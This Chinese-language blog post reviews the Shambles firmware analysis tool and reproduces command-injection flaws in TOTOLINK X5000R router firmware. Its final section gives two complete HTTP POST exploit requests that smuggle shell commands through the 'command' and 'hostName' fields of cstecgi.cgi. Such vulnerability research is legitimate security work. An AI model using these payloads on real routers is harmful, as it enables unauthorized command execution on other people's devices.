一直以来都在寻觅一款易于上手、拥有美观 UI 且充满现代化气息的逆向工具。偶然间在刷 B 站的时候,发现了 Shambles 这个工具,于是决定尝试一番。本文将着重介绍 Shambles 的上手感受以及 Totolink 漏洞的复现与研究。
一、起因
渴望找到一个操作简便、界面美观、具有现代感的逆向工具,在浏览 B 站时看到了 Shambles 这款工具,便产生了试用的念头。本文主要围绕 Shambles 的使用体验以及 Totolink 漏洞的复现与研究展开。(作者能力有限,若有错误之处,恳请各位指出。)
二、上手体验
获得使用权限后,依据邮箱中的信息和授权码进行登录。(建议在良好的网络环境下使用。)
主页面分为本地和云端(上传)两部分,这里先介绍上传云端的功能。
点击 “上传并分析固件”。
本文所使用的固件信息如下:
厂商:totollink
型号:X5000R
大小:8.6MB
版本:V9.1.00u.6118
MD5:497788b96788270336160fec37d93660
指令集:MIPS
下载地址:https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/218/ids/36.html
点击 “生成报告”,输入固件信息。(注意:这里仅演示操作方法,本文固件已上传完毕,可在本地文件列表中查看。)
完成操作后,界面会恢复到上传前的状态,不必担心,点击左上角的 “浏览所有”,即可看到刚刚上传的固件。
等待解包完成。
可以看到,在云端固件列表中,已经有了分析报告。(注意,目前 Shambles1.2.2 版本在解包过程中,可能由于某些字符串较为特殊或者数量较多,打包时超出内存限制,从而导致解包出现错误。)
该固件存在 400多 个高危漏洞、30多个中危漏洞和 一千八百多个低危漏洞。点击右侧的 “克隆至本地”,即可开始研究工作。
点击左侧的 “本地文件”。
三、工作窗口
工作窗口分为四大板块,分别是工具栏、文件树、固件信息(主面板)以及漏洞列表。
同时,还能够通过固件相似度可视化功能,发现相似固件,这对于查找通杀漏洞更加方便。
四、Bindiff 固件对比
使用 Bindiff 功能可以实现两个固件的自动化对比,具体功能可以查看以下视频进行学习:https://www.bilibili.com/video/BV14V411V7ui/。
五、虚拟机
你可能会注意到右侧漏洞下还有虚拟机。没错!这个 Shambles 还可以模拟固件环境,实现挖洞一站式体验。点击左上角的小箭头,切换到云端模式,再点击 “同步模拟器”,耐心等待。
具体的操作教程可以观看这个视频:https://www.bilibili.com/video/BV18g4y1j7KX/。
六、挖洞
最令人心动的当属漏洞列表板块了,Shambles 能够自动挖掘潜在漏洞的信息,并十分清晰地罗列出来。
在右侧可以看到具有命令执行的函数漏洞,双击函数即可定位,按 F5 可以将汇编代码调整为便于我们阅读的类 C 语言模式。
还可以使用 chatgpt3.5 进行验证。
七、使用 POC 进行攻击
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 82
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/advance/traceroute.html?time=1679125513355
Cookie: SESSION_ID=2:1679122532:2
{"command":"127.0.0.1; pwd > /tmp/1.txt;","num":"4","topicurl":"setTracerouteCfg"}
同样再选择一个漏洞。
在 “setOpModeCfg” 中包含命令插入漏洞,该漏洞允许攻击者通过 “hostName” 参数执行任意命令。
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/advance/time.html?time=1679126798322
Cookie: SESSION_ID=2:1679122532:2
{
"proto":"1",
"hostName":"'; pwd > /tmp/1.txt;' ",
"topicurl":"setOpModeCfg"
}
otolink 漏洞解析及Shambles 功能体验
本文来自投稿,不代表本站立场,如若转载,请注明出处: